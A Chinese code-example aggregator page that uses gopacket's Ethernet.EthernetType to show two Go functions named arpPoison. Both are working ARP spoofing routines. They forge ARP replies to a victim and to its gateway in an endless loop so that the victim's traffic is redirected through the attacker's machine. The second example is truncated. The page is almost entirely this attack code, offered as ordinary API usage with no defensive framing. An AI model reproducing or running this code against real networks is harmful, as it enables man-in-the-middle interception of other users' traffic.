本文整理汇总了Golang中github.com/google/gopacket/layers.Ethernet.EthernetType方法的典型用法代码示例。如果您正苦于以下问题:Golang Ethernet.EthernetType方法的具体用法?Golang Ethernet.EthernetType怎么用?Golang Ethernet.EthernetType使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类github.com/google/gopacket/layers.Ethernet
的用法示例。
在下文中一共展示了Ethernet.EthernetType方法的2个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Golang代码示例。
示例1: arpPoison
/*
FUNCTION: arpPoison(targetMAC, gateway, gatewayMAC string){
RETURNS: Nothing
ARGUMENTS:
string targetMAC - the victim mac address for spoofing
string gateway - the gateway IP the victim uses
string gatewayMAC - the mac address of the gateway the vicitim uses
ABOUT:
Performs arp poisoning of the target machine. Sets its traffic to all come
through the host machine, and sets the gateway to redirect its traffic for the victim to this host.
*/
func arpPoison(targetMAC, gateway, gatewayMAC string) {
// i lost my mind over this, the parseip function is broke and adds a bucket of worthless
// bytes to the beginning of the array, I wish I did this in C
// I GUESS I DID C
gw := (net.ParseIP(gateway))[12:]
tg := (net.ParseIP(target))[12:]
tgm, _ := net.ParseMAC(targetMAC)
gwm, _ := net.ParseMAC(gatewayMAC)
fmt.Print("========================")
fmt.Printf("GateWay IP:%s\nTarget IP:%s\nGateway MAC:%s\nTarget MAC:%s\n", gateway, target, gatewayMAC, targetMAC)
fmt.Print("========================")
ethernetPacket := layers.Ethernet{}
ethernetPacket.DstMAC = tgm
ethernetPacket.SrcMAC = macAddr
ethernetPacket.EthernetType = layers.EthernetTypeARP
arpPacket := layers.ARP{}
arpPacket.AddrType = layers.LinkTypeEthernet
arpPacket.Protocol = 0x0800
arpPacket.HwAddressSize = 6
arpPacket.ProtAddressSize = 4
arpPacket.Operation = 2
//poison the target
arpPacket.SourceHwAddress = macAddr
arpPacket.SourceProtAddress = gw
arpPacket.DstHwAddress = tgm
arpPacket.DstProtAddress = tg
gwEthernetPacket := ethernetPacket
gwARPPacket := arpPacket
//poison the gateway
gwARPPacket.SourceProtAddress = tg
gwARPPacket.DstHwAddress = gwm
gwARPPacket.DstProtAddress = gw
for {
//poison target
writePoison(arpPacket, ethernetPacket)
time.Sleep(1 * time.Second)
//poison gateway
writePoison(gwARPPacket, gwEthernetPacket)
time.Sleep(5 * time.Second)
}
}
示例2: arpPoison
func arpPoison(device string, routerMac net.HardwareAddr, routerIP net.IP, localMac net.HardwareAddr, localIP net.IP, victimMac net.HardwareAddr, victimIP net.IP) {
// Open NIC at layer 2
handle, err := pcap.OpenLive(device, 1024, false, pcap.BlockForever)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
defer handle.Close()
// create an empty ethernet packet
ethernetPacket := layers.Ethernet{}
// create an empty ARP packet
arpPacket := layers.ARP{}
// pre populate Arp Packet Info
arpPacket.AddrType = layers.LinkTypeEthernet
arpPacket.HwAddressSize = 6
arpPacket.ProtAddressSize = 4
arpPacket.Operation = 2
arpPacket.Protocol = 0x0800
// continiously put arp responses on the wire to ensure a good posion.
for {
/******** posion arp from victim to local ********/
//set the ethernet packets' source mac address
ethernetPacket.SrcMAC = localMac
//set the ethernet packets' destination mac address
ethernetPacket.DstMAC = victimMac
//set the ethernet packets' type as ARP
ethernetPacket.EthernetType = layers.EthernetTypeARP
// create a buffer
buf := gopacket.NewSerializeBuffer()
opts := gopacket.SerializeOptions{}
// customize ARP Packet info
arpPacket.SourceHwAddress = localMac
arpPacket.SourceProtAddress = routerIP
arpPacket.DstHwAddress = victimMac
arpPacket.DstProtAddress = victimIP
// set options for serializing (this probably isn't needed for an ARP packet)
// serialize the data (serialize PREPENDS the data)
err = arpPacket.SerializeTo(buf, opts)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
err = ethernetPacket.SerializeTo(buf, opts)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
// turn the packet into a byte array
packetData := buf.Bytes()
//remove padding and write to the wire
handle.WritePacketData(packetData[:42])
//Sleep so we don't flood with ARPS
time.Sleep(50 * time.Millisecond)
/******** end posion arp from victim to local ********/
/******** posion arp from router to local ********/
//set the ethernet packets' source mac address
ethernetPacket.SrcMAC = localMac
//set the ethernet packets' destination mac address
ethernetPacket.DstMAC = victimMac
//set the ethernet packets' type as ARP
ethernetPacket.EthernetType = layers.EthernetTypeARP
// customize ARP Packet info
arpPacket.SourceHwAddress = localMac
arpPacket.SourceProtAddress = victimIP
arpPacket.DstHwAddress = routerMac
arpPacket.DstProtAddress = routerIP
// set options for serializing (this probably isn't needed for an ARP packet)
// serialize the data (serialize PREPENDS the data)
err = arpPacket.SerializeTo(buf, opts)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
err = ethernetPacket.SerializeTo(buf, opts)
if err != nil {
fmt.Println(err)
os.Exit(1)
//.........这里部分代码省略.........